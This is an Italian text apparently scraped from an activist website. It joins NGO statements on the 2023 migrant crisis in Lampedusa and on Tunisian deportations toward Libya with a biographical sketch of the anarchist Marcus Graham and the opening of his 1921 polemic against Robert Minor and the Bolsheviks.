Giovedì mattina, molte persone hanno iniziato a fuggire dall’hotspot saltando le recinzioni a causa della situazione disumana che si stava vivendo. Nel frattempo, di fronte all’incapacità delle autorità italiane di fornire un’accoglienza dignitosa, la solidarietà locale ha preso il sopravvento. Molti abitanti si sono mobilitati per organizzare distribuzioni di cibo per coloro che si sono rifugiati in città[2].
Inoltre, diverse organizzazioni stanno denunciando la crisi politica in Tunisia e l’emergenza umanitaria nella città di Sfax, da cui parte la maggior parte dei barconi per l’Italia. In questo momento circa 500 persone dormono in piazza Beb Jebli, senza quasi nessun accesso a cibo e assistenza medica[3]. La maggior parte è stata costretta a fuggire da Sudan, Etiopia, Somalia, Ciad, Eritrea o Niger. Dopo le dichiarazioni razziste del presidente della Tunisia, Kais Saied, molti migranti sono stati espulsi dalle loro case e dai loro posti di lavoro[4]. Altri sono stati deportati nel deserto, dove alcuni sono morti di sete.
Mentre queste deportazioni di massa sono in corso e la situazione a Sfax continua a deteriorarsi, l’UE ha concordato tre mesi fa un nuovo accordo sulla migrazione con il governo tunisino, al fine di cooperare “in modo più efficace sulla migrazione”, sulla gestione delle frontiere e sulle misure “anti-contrabbando”, con una dotazione di oltre 100 milioni di euro. L’UE ha accettato questo nuovo accordo con piena consapevolezza delle atrocità compiute dal governo tunisino, compresi gli attacchi perpetrati dalle guardie costiere tunisine alle imbarcazioni dei migranti[5].
Nel frattempo, osserviamo con preoccupazione come i diversi governi europei stiano chiudendo le porte e non rispettino le leggi sull’asilo e i più elementari diritti umani. Mentre il ministro degli Interni francese ha annunciato l’intenzione di rafforzare i controlli alla frontiera italiana, anche diversi altri Stati membri dell’UE hanno dichiarato di voler chiudere le porte. Ad agosto, le autorità tedesche hanno deciso di interrompere i processi di selezione dei richiedenti asilo che arrivano in Germania dall’Italia nell’ambito del “meccanismo di solidarietà volontaria”[6].
Invitata domenica a Lampedusa dalla primo ministro Meloni, la presidente della Commissione europea Von der Leyen ha annunciato un piano d’azione in 10 punti che conferma questa risposta securitaria[7]. Rafforzare i controlli in mare a discapito dell’obbligo di soccorso, aumentare il ritmo delle espulsioni ed intensificare il processo di esternalizzazione delle frontiere… tutte vecchie ricette che l’Unione europea attua da decenni e che si sono rivelate fallimentari, oltre ad aggravare la crisi della solidarietà e la situazione delle persone in movimento.
Le organizzazioni sottoscritte chiedono un’Europa aperta e accogliente e sollecitano gli Stati membri dell’UE a fornire percorsi sicuri e legali e condizioni di accoglienza dignitose. Chiediamo che vengano presi provvedimenti urgenti a Lampedusa e che vengano rispettate le leggi internazionali che tutelano il diritto d’asilo. Siamo sconvolti dalle continue morti in mare causate dalle politiche di frontiera dell’UE e ribadiamo la nostra solidarietà alle persone in movimento!
Afrique-Europe-Interact
Alarme Phone Sahara (APS)
Alarme Phone Sahara – Mali
Alternative Espaces Citoyen – Niger
Anafé (association nationale d’assistance aux frontières pour les personnes étrangères)
Another Europe is Possible
ARCOM – association des réfugiés et communautés migrantes au Maroc
Are You Syrious?
Associazione studi giuridici sull’immigrazione (ASGI)
Association AFRIQUE INTELLIGENCE
Association Beity
Association d’aide des Migrants en Situation Vulnérable (AMSV) Oujda / Maroc
Association des Etudiants et Stagiaires Africains en Tunisie (AESAT)
Association Féministe Tanit
Association Lina Ben Mhenni
Association de solidarité avec les travailleurS/euses immigré.es (ASTI) des Ulis / France
Association pour la promotion du droit à la différence (ADD)
Association pour les Migrants-AMI, Nîmes, France
Association Sentiers-Massarib
Association Tunisienne de défense des libertés individuelles (ADLI)
Association Tunisienne pour les droits et les libertés (ADL)
Aswat Nissa
Avocats Sans Frontières (ASF)
Association Damj
BELREFUGEES, Plateforme Citoyenne / Belgium
borderline-europe- Menschenrechte ohne Grenzen
Boza Fii – Sénégal
CCFD-Terre Solidaire
CGTM Mauritanie
Chkoun Collective
Coalition des Associations Humanitaires de Médenine
Collectif Droit de Rester, Lausanne
Comité de Vigilance pour la Démocratie en Tunisie – Belgique
Comité pour le respect des libertés et des droits de l’homme en Tunisie (CRLDHT)
CompassCollective
Connexion
Damj l’association tunisienne de la justice et légalité
DZ Fraternité
Emmaüs Europe
European Alternatives
Fédération des tunIsiens citoyens des deux rives (FTCR)
Groupe de Recherche et d’Actions sur les Migrations (GRAM), Bamako / Mali
Groupe d’information et de soutien des immigré.e.s (Gisti)
iuventa-crew
Jeunesse Nigérienne au service du Développement Durable (JNSDD) – Agadez / Niger
Komitee für Grundrechte und Demokratie e.V.
La Cimade
La coalition tunisienne contre la peine de la mort
LasciateCIEntrare
Ligue Algérienne pour la Défense des Droits de l’Homme (LADDH)
Ligue des droits de l’Homme (LDH) – France
Ligue tunisienne des droits de l’homme (LTDH)
Maldusa
medico international
MEDITERRANEA Saving Humans
Mem.med:mémoire Méditerranée
Migrants’ Rights Network
migration-control.info project
Migreurop
MV Louise Michel
Paris d’Exil
Pro-Asyl
Push-Back Alarm Austria
r42-SailAndRescue
Refugees in Libya
Refugees in Tunisia
ResQ – People Saving People
RESQSHIP
Salvamento Marítimo Humanitario (SMH)
Sea-Watch
Seebrücke – Schafft sichere Häfen
Solidarité sans frontières (Sosf)
SOS Balkanroute
SOS Humanity
Statewatch
Tunisian Forum for Social and Economic Rights (FTDES)
Union des travailleurs immigrés tunisiens (UTIT)
United4Rescue
Vivre Ensemble | asile.ch
Watch the Med Alarm Phone
Welcome to Europe network
Zusammenland gUG/ MARE*GO
_________________________
[1] Reuters, “Italy’s Lampedusa island hit with record migrant arrivals”, 12 septembre 2023,
[3] Déclaration “Urgence humanitaire au Gouvernorat de Sfax : la société civile tire la sonnette d’alarme face à une situation inacceptable”, 14 septembre 2023
Foto dei telefoni distrutti dalle autorità tunisine. Foto: Viaggiatori
Un gruppo di venti migranti e richiedenti asilo provenienti dall’Africa occidentale e centrale è stato deportato con la forza al confine tra Tunisia e Libia (vicino a Ben Guerdane) la mattina del 2 luglio 2023 dai militari tunisini e dagli ufficiali della Guardia Nazionale.
Il gruppo ha un immediato bisogno di aiuto. In totale ci sono sei donne (tra cui due incinte, una prossima al parto), una ragazza di 16 anni del Camerun e 13 uomini. Due degli uomini sono richiedenti asilo camerunesi registrati presso l’Alto Commissariato delle Nazioni Unite per i Rifugiati (UNHCR). Il gruppo è composto da persone provenienti da Costa d’Avorio, Camerun, Mali, Guinea e Ciad.
Queste persone, insieme ad altre 28, sono state inizialmente arrestate sabato 1° luglio in una casa a Jbeniana, a circa 35 km da Sfax. Hanno riferito che le autorità, tra cui agenti di polizia, membri della Guardia Nazionale e ufficiali militari, hanno fatto irruzione nella casa in cui si trovavano. Le 48 persone sono state poi arrestate e portate alla stazione di polizia di Jbeniana. I loro passaporti e documenti di identificazione sono stati controllati e registrati.
La polizia avrebbe poi diviso le 48 persone in due gruppi. Il primo gruppo, composto da 28 persone, con cui siamo in contatto, non sa cosa sia successo all’altro gruppo.
Il gruppo di 28 persone è stato trasferito a Ben Guerdane, dove sono state divise in tre basi della Guardia Nazionale e in basi militari, sottoposte a percosse e maltrattamenti, prima di essere abbandonate al confine libico. La Guardia Nazionale ha arrestato otto persone (un ragazzo minorenne e sette uomini) e ha deportato le altre venti in Libia. I loro telefoni cellulari sono stati distrutti e il loro denaro è stato rubato.
Il 4 luglio, un secondo gruppo di 100 migranti e rifugiati è stato deportato nella stessa località al confine libico. Il gruppo è composto da persone di varie nazionalità, tra cui ivoriani, camerunensi e guineani, con almeno 12 bambini di età compresa tra i 6 mesi e i 5 anni.
Questa espulsione è simile ad altre deportazioni forzate avvenute tra Libia e Algeria, che sono state criticate dalle persone in movimento dall’Africa occidentale e centrale. Inoltre, negli ultimi giorni sono state segnalate ondate di arresti e violenze contro migranti e rifugiati nella città di Sfax.
Le organizzazioni sottoscritte condannano le violazioni dei diritti umani subite da questi migranti, richiedenti asilo e rifugiati. Esortiamo le autorità tunisine a fornire chiarimenti su questi eventi e a intervenire con urgenza per garantire l’assistenza e il sostegno immediato a queste persone.
Association des Ivorien Actifs en Tunisie – ASSIVAT
Association pour le Leadership et le Développement en Afrique – ALDA
Association Tunisienne de Soutien aux Minorités – ATSM
BorderlineEurope – Menschenrechte ohne Grenzen e.V
EuroMed Droits
Forum tunisien pour les droits économiques et sociaux (FTDES)
Iuventa-crew
Ligue Algérienne pour la Défense des Droits Humains (LADDH)
Louise Michel MV
Maldusa
Mem.med
Migreurop
Minority Rights Group International
OnBorders
Organisation Marocaine Des Droits Humains (OMDH)
Organisation mondiale contre la torture (OMCT)
r42-sailandrescue
RESQSHIP
Salvamento Marítimo Humanitario
Sea-Watch
Syrian Centre for Media and Freedom of Expression (SCM)
Tamkeen for Legal Aid and Human Rights
WatchtheMed – Alarm Phone
Titolo originale: Anarchism and the World Revolution. An Answer to Robert Minor, Pubblicato negli USA, 1921, p. 74
Schizzo biografico
Marcus Graham, il cui vero nome era Shmuel Marcus, nacque nella città rumena di Dorohoi nel 1893 da genitori ebrei ortodossi.
Nel 1907 la sua famiglia emigrò a Philadelphia, dove lavorò come sarto. Inizialmente socialista, Graham si unì al movimento anarchico locale di lingua yiddish. Oppositore della Prima guerra mondiale, lasciò gli Stati Uniti con diversi compagni per evitare di registrarsi alla leva e condusse attività antimilitariste a Montreal e Toronto, dove adottò lo pseudonimo di Robert Parsons. In quest’ultima città diresse il giornale anarchico in lingua yddish Der Einziger.
Nel 1919 si trasferì a New York e usò gli pseudonimi Fred S. Graham e Marcus Graham. Iniziò a collaborare col giornale anarchico The Anarchist Soviet Bulletin (TASB).
Il periodico condannava l’intervento militare americano nella Russia rivoluzionaria e invitava i lavoratori americani a rovesciare con le armi il governo degli Stati Uniti con uno sciopero generale e organizzare «soviet anarchici.»
In risposta alle rivolte razziali del 1919,1 nel primo numero di Aprile, il gruppo redazionale del TASB esortò i «lavoratori d’America, di colore o bianchi» a riconoscere che gli antagonismi razziali nell’industria del nord derivassero dalle divisioni esclusiviste create dai sindacati e dai datori di lavoro, e a «rendersi conto che quando ci uccidiamo a vicenda, va solo a vantaggio del capitalismo e contribuisce a mantenere [i borghesi] nella ricchezza, mentre noi soffriamo nella miseria e nel bisogno.»2
Il 15 Aprile 1919 Graham fu arrestato a Paterson, nel New Jersey, dopo che un poliziotto, insospettito dai suoi movimenti, gli chiese di mostrare il contenuto della sua valigia – la quale conteneva 2500 copie del TASB. Durante l’interrogatorio Graham dichiarò di chiamarsi Robert Parsons e di essere un cittadino canadese nato a Montreal.
Il 1° Maggio fu trasferito a Ellis Island in attesa della notifica di espulsione per il Canada. Due settimane dopo, Graham versò una cauzione di mille dollari e tornò a occuparsi segretamente della redazione del TASB. Nei mesi successivi, diversi altri membri del suo gruppo redazionale furono arrestati per aver distribuito il giornale: due vennero espulsi in Russia a Dicembre, mentre un’altra, Mollie Steimer, fu imputata nel caso storico della Corte Suprema Abrams contro gli Stati Uniti ed espulsa nel Novembre 1921.34
Nel Gennaio 1921, Graham rilanciò il mensile TASB con un nuovo titolo: Free Society. Come riportato nell’autobiografia dell’anarchico rumeno,5 un mese dopo, nel Febbraio 1921, gli ispettori dell’immigrazione raggiunsero Graham sui gradini della Biblioteca Pubblica di New York e lo riportarono a Ellis Island, dove subì un interrogatorio-pestaggio di ventiquattro ore. Per tutto il tempo Graham rifiutò di rivelare dove il suo gruppo stampasse il giornale e continuò a sostenere di essere un cittadino canadese di nome Parsons.
L’Ufficio dell’Immigrazione reputò che stesse mentendo e concluse che egli fosse «un suddito russo». Gli Stati Uniti, però, non avevano relazioni diplomatiche con il nuovo governo sovietico – il quale stava conducendo una forte repressione politica 6 -, e rifiutarono l’ingresso alla maggior parte degli anarchici russi. Ignorando sia il luogo di nascita e sia il suo vero nome, l’Ufficio dell’Immigrazione lo dovette rilasciare.
La situazione razziale e migrantofobica statunitense di quel momento storico – culminate, oltre le citate rivolte razziali, con l’Emergency Quota Act (1921)e l’Immigration Act (1924), due leggi che limitarono fortemente ogni forma di immigrazione dall’Asia e dall’Africa e fissarono quote estremamente basse sul numero di migranti provenienti dall’Europa meridionale e orientale ammessi ogni anno nel Paese –, portò Graham ad approfondire ulteriormente il suo essere anarchico e a lottare contro lo Stato e il Capitale.
Nel 1924 l’anarchico rumeno aderì all’International Group di New York, un’organizzazione anarchica composta da ebrei, italiani, spagnoli, americani di origine europea e altri.
L’organo d’informazione era il Road to freedom,che si proponeva di «rappresentare la concezione teorica dell’anarchismo negli Stati Uniti,» assumendo «una posizione di tolleranza nei confronti di tutte le sfumature dell’opinione anarchica, siano esse esposte da comunisti, individualisti, sindacalisti o anarchici senza alcuna affiliazione. Affinché tutti possano avere pari opportunità di esprimere le proprie opinioni, le colonne di Road to Freedom saranno aperte, entro limiti ragionevoli, a ogni compagno che abbia qualcosa da dire e che sia in grado di dirlo.»7
Ben presto le opinioni intransigenti di Graham lo collocarono ai margini, fino all’isolamento del movimento anarchico.8
Uscito nel 1925 dall’International Group di New York, si ritirò per un certo periodo nella colonia anarchica multietnica di Stelton, New Jersey, dove vivevano numerosi anarchici ebrei. Il suo desiderio di lavorare la terra fu reso arduo dal suo rifiuto di sfruttare o danneggiare gli animali: egli arava il terreno a mano invece di usare i cavalli da tiro.9
Secondo Joseph Cohen, che non aveva una buona opinione di Graham, «la natura lo aveva dotato di una certa dose di ostinazione, sfrontatezza e di un temperamento rivoluzionario focoso. […] Formò una propria cerchia di anarchici russi e italiani che capivano a malapena l’inglese e portò avanti la sua agitazione rivoluzionaria tra loro.»10
Graham iniziò a collaborare con i Rebel Poets, un gruppo informale di scrittori radicali fondato nel 1928 dagli scrittori anarchici Ralph Cheyney e Lucia Trent. Questa collaborazione portò, nel 1929, alla pubblicazione del suo libro An Anthology of Revolutionary Poetry. L’opera si distingueva da altre raccolte radicali e proletarie per la presenza di poesie redatte da persone afroamericane quali Countee Cullen (che era membro del comitato editoriale del libro), Paul Laurence Dunbar, Fenton Johnson, Georgia Douglas Johnson, James Weldon Johnson, Claude McKay e Langston Hughes, membro dei Rebel Poets.
Nel 1930 Graham promosse l’antologia, consegnando alcune copie nelle biblioteche. Dopo una breve deviazione in Messico, Graham venne arrestato da un ispettore dell’immigrazione a Yuma, in Arizona, per possesso di presunta letteratura anarchica — ovvero copie dell’antologia — e richiese un mandato per espellerlo in Messico. Un comitato di difesa ad hoc composto da scrittori radicali e dall’American Civil Liberties Union (ACLU) accorse rapidamente in aiuto di Graham e, dopo due settimane, una commissione di revisione del Bureau of Immigration respinse la richiesta perchè il mandato di espulsione pendente del 1919 aveva la precedenza — nonostante non potesse essere eseguito.
Tra il 1929 e il 1940 l’anarchico rumeno collaborò con L’Adunata dei Refrattari, giornale anarchico italo-americano, dove scrisse articoli in lingua inglese (firmati Sh. Marcus). Trasferitosi a San Francisco nei primi anni ‘30, Graham partecipò alle assemblee dell’International Group della città californiana. All’interno vi erano gruppi e soggettività anarchiche di lingua italiana, polacca, cinese, spagnola, tedesca, francese, yddish e russa.
Visto che l’inglese fungeva da lingua comune, l’International Group creò un organo di informazione: Man! A Journal of the Anarchist Ideal and Movement.
Diretto da Graham, il giornale « Man! ha e avrà idee da proporre a coloro che sono disposti ad affrontare la verità e ad agire in prima persona. Se ha un obiettivo – ed è questo – l’uomo ritrova fiducia in se stesso, nel proprio grande potere di liberarsi da ogni forma di schiavitù che oggi lo circonda. Man! è una rivista dedicata all’ideale e al movimento anarchico. Ogni questione sociale sarà affrontata con coerenza, senza concedere alcuno spazio al compromesso, che è la rovina di tanti ideali e idealisti.»11
La pubblicazione sostenne coerentemente l’attività rivoluzionaria, condannando i fascismi, lo stalinismo e il New Deal – definito «un’enorme mobilitazione della ricchezza pubblica atta a riparare le crepe abissali aperte delle fortune private delle istituzioni capitalistiche»12 -, e criticando fortemente i sindacati.13
Sull’antirazzismo, Man!, e più nello specifico Graham, fu in prima fila contro le violenze razziali di Stato.
Quando l’anarchico rumeno fece un viaggio nel Sud degli Stati Uniti per i fatti riguardanti i ragazzi di Scottsboro14, descrisse così l’ambiente: «non dimenticherò mai le esperienze umilianti e vergognose che ho vissuto come uomo bianco, assistendo ai maltrattamenti e alle umiliazioni vergognose che i neri del Sud sono costretti a subire. Sul primo tram su cui sono salito a Richmond, in Virginia, mi sono seduto vicino a una ragazzina di colore. Sono stati i minuti in cui tutti i bianchi mi fissavano a farmi finalmente prendere coscienza di ciò che avevo letto in passato sul calvario dei neri nel Sud. Il primo grande magazzino in cui sono entrato presentava fontanelle con la scritta «Bianchi» e «Colorati.» Entrando nei bagni si vedevano cartelli simili. Avvicinandomi a un cinema, ho scelto l’ingresso della balconata. Il bigliettaio mi ha guardato con sorpresa. Fu solo dopo essere entrato nella balconata che mi resi conto che quella sezione, come quella del tram, era riservata esclusivamente alle persone di colore. (I bianchi del Sud mi assicurarono che solo il mio colore nocciola molto intenso mi aveva permesso di evitare violente reazioni di risentimento da parte dei bianchi). Si potrebbero continuare a descrivere altri modi vergognosi con cui i bianchi maltrattano i neri, in particolare la segregazione degli alloggi e il divieto di camminare da soli di notte in una strada abitata da bianchi. Dei continui linciaggi di neri da parte di folle di bianchi e di funzionari della «legge», non c’è quasi bisogno di dire nulla, poiché il mondo intero ne è a conoscenza.»15
La repressione istituzionale non si fece attendere contro il giornale e Graham. Quando la redazione di Man! sostenne lo sciopero generale del Luglio 1934, gli ispettori dell’Ufficio dell’Immigrazione avviarono dei procedimenti contro gli scioperanti e i sostenitori del giornale anarchico.
Due anarchici italiani, Vincenzo Ferrero e Domenico Sallitto, rischiarono l’espulsione verso l’Italia fascista solo perché la polizia trovò nella loro abitazione dei numeri di Man!. L’espulsione venne evitata dopo un iter giudiziario durato 4 anni.16
Durante questo periodo, l’Immigration and Naturalization Service (INS) – come era stato ribattezzato nel 1933 l’Ufficio per l’Immigrazione -, ordinò nel Marzo 1936 a Marcus Graham di presentarsi nei loro uffici per il mandato di espulsione del 1919. Graham si presentò ma fu rilasciato dopo diverse settimane quando i funzionari si resero conto che era impossibile procedere all’espulsione. Dopo il suo rilascio, l’anarchico rumeno trasferì la testata a Los Angeles, dove gli agenti dell’INS lo arrestarono nuovamente il 6 Ottobre 1937.17
Rilasciato su cauzione, il comitato di difesa del 1930 fu ricostituito grazie alla sezione californiana meridionale dell’ACLU. Nacque così il Marcus Graham Freedom of the Press Committee.
Il caso di Graham attirò l’attenzione di una vasta schiera di artisti e scrittori (Alice Stone Blackwell, Countee Cullen e Edna St. Vincent Millay). Tra i membri del comitato di difesa figuravano Sherwood Anderson, John Dewey, John Dos Passos, John Haynes Holmes, Dorothy Parker e Norman Thomas.18
Nel frattempo, l’INS adottò una nuova strategia: citò l’anarchico rumeno davanti al tribunale distrettuale il 13 Gennaio 1938 per «rivelare i particolari della sua nascita sotto pena di essere condannato pel delitto di “criminal contempt.”»19
Graham si rifiutò di rispondere a qualsiasi domanda nelle fasi di dibattimento e fu accusato di oltraggio alla corte. Il giorno seguente, il suo caso di oltraggio alla corte fu discusso davanti al giudice distrettuale, il liberale Leon R. Yankwich. L’avvocato dell’ACLU che rappresentava Graham sostenne che il Quinto Emendamento lo tutelava dal rendere una testimonianza che potesse incriminarlo. Yankwich stabilì che tali tutele non si applicavano ai procedimenti di espulsione – in quanto questi erano procedimenti amministrativi e non penali.
Il giudice dichiarò Graham colpevole di oltraggio alla corte ma gli permise di rilasciare la sua dichiarazione di sfida al tribunale: «Ordinandomi di rispondere, e condannandomi per il mio rifiuto questo tribunale dimostrerà corretta la posizione degli anarchici; i quali considerano il governo non un. organo amministrativo che serve gli interessi del popolo, ma un nemico di questi interessi; non organo di verità ma di menzogna…non di giustizia ma di bassa ingiustizia… Se adesso io non fossi il redattore del giornale “Man!,” non mi troverei faccia a faccia con la prigione. E intanto “Man!” è pubblicato legalmente e come tale è accettato dal dipartimento delle poste. […] Il procuratore federale, concludeva drammaticamente che il mio principale delitto era quello di redigere “Man!” che propugna l’avvento di una società anarchica. Io mi sento orgoglioso di dichiararmi colpevole di questa accusa… La prigionia impostami da un tribunale presieduto da un “liberale” viene a sostenere in toto l’asserto anarchico che i governi sono fondati, esistono e si perpetuano per mantenere l’ingiustizia. Io chiuderò con le parole del più grande degli americani, Henry David Thoreau: “Anzicchè amore, ricchezze, e fama, datemi la verità.” Ed io aggiungo la Libertà: l’essenza vera dell’anarchia.”»20
Condannato a sei mesi, Graham fu rilasciato su cauzione in attesa dell’appello.
Il 28 Ottobre 1938, la Corte d’Appello del Nono Circuito ribaltò parzialmente la sentenza di Yankwich. Da una parte la Corte riteneva che «la sentenza è stata annullata in base alla legge che dà diritto a rifiutare di testimoniare contro sé stessi»; dall’altra «approva la decisione della corte inferiore per ciò che riguarda il nocciolo della questione, e cioè che può essere applicato un mandato di deportazione vecchio di diciannove anni e già riconosciuto invalido.»2122
La nuova udienza di Graham si tenne il 26 Giugno 1939 davanti al giudice Yankwich che rinunciò all’incarico. L’ACLU chiese «un procedimento di “habeas corpus” che impugna la validità costituzionale di tutta la procedura dal 1919 in poi.»
Graham, da parte sua, persistette «nel suo rifiuto di rispondere alle domande prescritte […e] fu di nuovo condannato a sei mesi di prigione dal giudice Harry A. Holzer. Contro questa nuova condanna egli ha inoltrato appello e si trova libero sotto cauzione di 1000 dollari.»23
L’anarchico rumeno venne condannato definitivamente a sei mesi di carcere dalla Corte d’Appello del Nono Circuito agli inizi di Giugno del 1940. Un’eventuale espulsione era comunque impossibile da attuare: essendo ebreo, Graham non poteva mettere piede in Romania per via delle leggi anti-semite del governo Gova.24
Il giornale Man! chiuse i battenti nell’Aprile del 1940 in quanto non si trovò una tipografia disposta a stampare la pubblicazione anarchica.
Durante il conflitto mondiale, Graham collaborò con la rivista antimilitarista britannica War Commentary – al cui interno vi era una polemica contro la visione pro-guerra di Rudolf Rocker.25
Dopo la fine del secondo conflitto, Graham pubblicò Mankind and the State nel 1946 – un opuscolo in cui criticava il nuovo ordine capitalistico e ne richiedeva l’abolizione a favore di una cooperazione orizzontale fra gli individui.26 Oltre il capitalismo, l’anarchico rumeno polemizzò contro le ideologie stataliste spacciate per liberatrici come il marxismo 27 e contro l’industrializzazione sempre più onnnipresente.28 In italiano vennero pubblicati due suoi scritti su Volontà. Rivista Anarchica Mensile.29
Visse a Los Gatos, collaborando con i giornali anarchici fino alla sua morte, avvenuta nel 1985.
«Graham visse una vita lunga e attiva all’interno del movimento anarchico, spesso costellata da coinvolgimenti controversi al suo interno. Pubblicò opuscoli, contribuì con articoli a numerose pubblicazioni e compilò e curò An Anthology of Revolutionary Poetry. Con qualche inevitabile interruzione, Graham era il direttore della rivista anarchica Man! La maggior parte della persecuzione che subì in seguito fu, in realtà, dovuta alla gestione di Man!,pubblicata dal Gennaio 1933 all’Aprile 1940.»30
Nota Il saggio di Graham venne pubblicato a puntate su L’Adunata dei Refrattari, nn. 12- 20, (30 Settembre 1922 – 30 Gennaio 1923) e nn. 1-8 (10 Febbraio – 31 Marzo 1923). Le parole o frasi parentesi quadre sono correzioni o traduzioni fatte da noi.
Introduzione È tempo che sulle cose russe ci addentriamo un po’. Insultati, additati come borghesi, grandi o piccoli, perché non ci accodammo mai al gregge dei plaudenti e vedemmo nel governo bolscevico un governo di più, è bene che ai lettori, agli appassionati di questioni sociali siano esposte le vere condizioni create ai rivoluzionari dai dittatori russi, condizioni che quelli in embrione vorrebbero imporre ovunque potesse trionfare uno scatto rivoluzionario. Niente più adatto che questo studio, in risposta a Roberto Minor, del compagno Fred S. Graham, che il nostro buon Picconiere31, ad utilizzare gli ozi forzati che la truculenta magistratura del Massachussets gli ha imposto, traduce per l’Adunata.
Robert Minor ha scelto il momento presente come il più opportuno per lanciare (vedi Il Liberator dell’Ottobre 1920) un attacco contro l’anarchismo, seguito dalla dichiarazione della sua conversione al bolscevichismo. Poi se ne viene fuori con un appello a tutti gli anarchici, esortandoli a seguire il suo esempio, e insinuando, nello stesso tempo, che in Russia gli anarchici tradiscono la Rivoluzione. Quando Robert Minor tornò dalla Russia, parecchi compagni nostri erano ansiosi di vederlo, specialmente per riguardo ai rapporti che allora ci pervenivano circa gli elogi che Robert Minor profondeva ai Soviet, e per la sua critica al Governo Bolscevico.
Oltre a questo noi sapevamo, per giunta, non solo dei suoi tre articoli apparsi sul “New York World” del Febbraio 1919, o dei due sul “London Herald” ma sapevamo anche di quelli pubblicati dal “Daily Bullentin” di Butte, Montana. Quando, finalmente, dalla costa del Pacifico egli arrivò all’est noi lo andammo a vedere, per sentire quello ch’egli aveva da raccontarci.
Ne fummo delusi. Egli se ne accorse subito. Più tardi Robert Minor cominciò a raccontare, a qualcuno di noi, ciò ch’egli realmente sapeva della Russia. Egli, in sostanza, asseriva che tutti i suoi articoli (inclusi quelli sul World) erano sostanzialmente veri, e oltre a ciò, ci raccontò cose tali da toglierci il respiro. Ma egli ci spiegò che il suo silenzio era dovuto principalmente al fatto che la stampa capitalistica interpretava ogni accusa contro il Governo Bolscevico come un attacco contro i Soviet della Russia, e siccome lui credeva che l’idea dei Soviet avrebbe suscitato l’universale Rivoluzione Sociale, così egli reputava meglio l’astenersi da ogni critica al Governo Bolscevico.
Fintanto che lui dimostrò di agire per salvare l’idea dei Soviet da ogni possibile danno noi ci sentimmo in dovere di mantenere il silenzio su molte cose ch’egli ci aveva raccontato.
Ora che lui non ci tiene più a salvare l’idea dei Soviet, ma solo di salvare l’idea Bolscevica, e accusa gli anarchici di tradimento, noi ci sentiamo svincolati dall’impostoci silenzio, e racconteremo a coloro che sanno leggere, pensare e ragionare, la storia che riguarda Minor e noi stessi.
Noi tacemmo allorquando Lenin cominciò ad attaccare l’Anarchismo e gli Anarchici col suo opuscolo La Rivoluzione e lo Stato (1917), e continuammo a tacere quand’egli continuò gli attacchi con tutti i suoi successivi scritti.
Noi tacemmo quando Bucharin e altri Bolscevichi Russi imitavano Lenin.
Noi tacemmo perfino quando Zinoview lanciò “l’appello” col quale invitava gli anarchici-sindacalisti e i gruppi degli anarchici-comunisti ad unirsi e collaborare col governo bolscevico, asserendo che parecchi gruppi anarchici erano di già passati al bolscevismo, e altrettanto avevano personalmente fatto molti anarchici. Noi sapevamo che “l’appello” fu lanciato dopo che gli anarchici sindacalisti della Russia ebbero spezzato ogni vincolo e ogni relazione coi bolscevichi, e che divennero aperti nemici.
Noi sapevamo che gli anarchici-sindacalisti avevano antecedentemente lavorato, di accordo coi bolscevichi, sul terreno rivoluzionario e industriale, ma che vennero costretti a dividersi, e a combattere i bolscevichi, perché costoro non cercavano che di centralizzare la proprietà del loro Governo, anziché assecondare lo sviluppo del Sindacalismo Industriale – come Minor dimostrò sì bene nel suo articolo “Lenin lotta contro il sindacalismo.”
Noi sapevamo che Zinoview mentiva, ma tacemmo.
E noi tacemmo, ancora e sempre, persino quando il “Partito-Comunista d’America,” con un’ignobile e inverecondo attacco travisava e calunniava l’Anarchismo col dire “che gli anarchici combattono per la “democrazia” e il capitalismo, tanto quanto combattono per i lavoratori” – mentre invece, essi, i “comunisti, sanno benissimo che noi combattiamo per il trionfo della Rivoluzione Sociale, e continueremo a lottare fino a che la libertà di ogni singolo individuo non sia un fatto compiuto.
Perché rimanemmo muti dinanzi a tanti insulti, a tante calunnie e a attacchi contro l’Anarchismo e gli Anarchici?
Noi abbiamo creduto che la vittoria della Rivoluzione, e la sua conquista del mondo intero, fosse cara ai bolscevichi quanto è a noi stessi, e che il rispondere apertamente a tanti e tali maliziosi attacchi, non avrebbe che danneggiato la Rivoluzione proprio quanto essa necessitava l’appoggio d’ogni ardente rivoluzionario. Ecco le ragioni del nostro silenzio.
Ora realizziamo quanto sbagliammo a credere la sincerità rivoluzionaria dei bolscevichi. È provato ormai che il loro mutamento di nome – da “bolscevichi” a “comunisti” – non è altro che uno stratagemma politico con lo scopo di spezzare l’onda del vero Comunismo, tanto in Russia come nelle altre nazioni, poiché il Comunismo, nel suo vero significato, è esattamente il rovescio di quanto i bolscevichi stanno facendo in nome di esso.
Perciò, quando riferendoci ai bolscevichi li chiameremo “comunisti,” quoteremo la parola quale un insulto al Comunismo – poiché essi lo sono.
Il servile appello per la pace da essi diretto alle nazioni capitalistiche, alle quali offrono lo sfruttamento delle risorse naturali della Russia, destituendo così il popolo Russo del suo legittimo avere, prova tutta la veridicità della nostra asserzione.
Nell’ultima sezione (1920) della loro Internazionale, i bolscevichi dimostrarono che essa non è un organo internazionale d’intesa e di cooperazione fra tutte le fazioni rivoluzionarie miranti al rovesciamento del capitalismo, ma è unicamente una meschina unione di dogmatici seguaci di Marx che vogliono dominare e controllare ogni possibile ed eventuale rivoluzione. Questo fatto prova irrefutabilmente la nostra antecedente asserzione dei continui attacchi, arresti e uccisioni compiute dai bolscevichi contro e sugli anarchici russi.
Sono coteste azioni da essi perpetrare in Russia, che ci costrinsero a dedicare un po’ del nostro tempo e della nostra energia ad esporli, una buona volta per sempre, al giudizio della Storia.
E siamo di lieti di farlo perché realizziamo pienamente che “per salvare la Rivoluzione russa, per rendere possibile la sua espansione sulle altre nazioni,” noi dobbiamo immediatamente dimostrare che i bolscevichi tradirono e tradiscono, e, se sarà possibile, tradiranno il Proletariato Internazionale.
Il Proletariato Mondiale deve cominciare a comprendere che due sono i suoi nemici nella sua lotta per la libertà.
E ora…! Uno di questi nemici è fuori di noi, l’altro è fra noi stessi.
Uno è il Capitalismo coi suoi organi di offesa e di difesa: lo Stato, la Stampa, la Scuola e la Chiesa; l’altro è, o meglio, sono i socialisti mascherati sotto il nome di Bolscevichi, Comunisti o Spartachiani, e tutti egualmente e concordemente intesi e desiderosi di ostacolare e rendere impossibile la vera liberazione dei lavoratori.
Sono questi i due nemici del Proletariato, che noi anarchici esporremo nella loro vera luce ed entità – sino a che il Proletariato insorga, e con noi lottando nella Rivoluzione Mondiale, rovescerà definitivamente questi due mortali nemici della libertà.
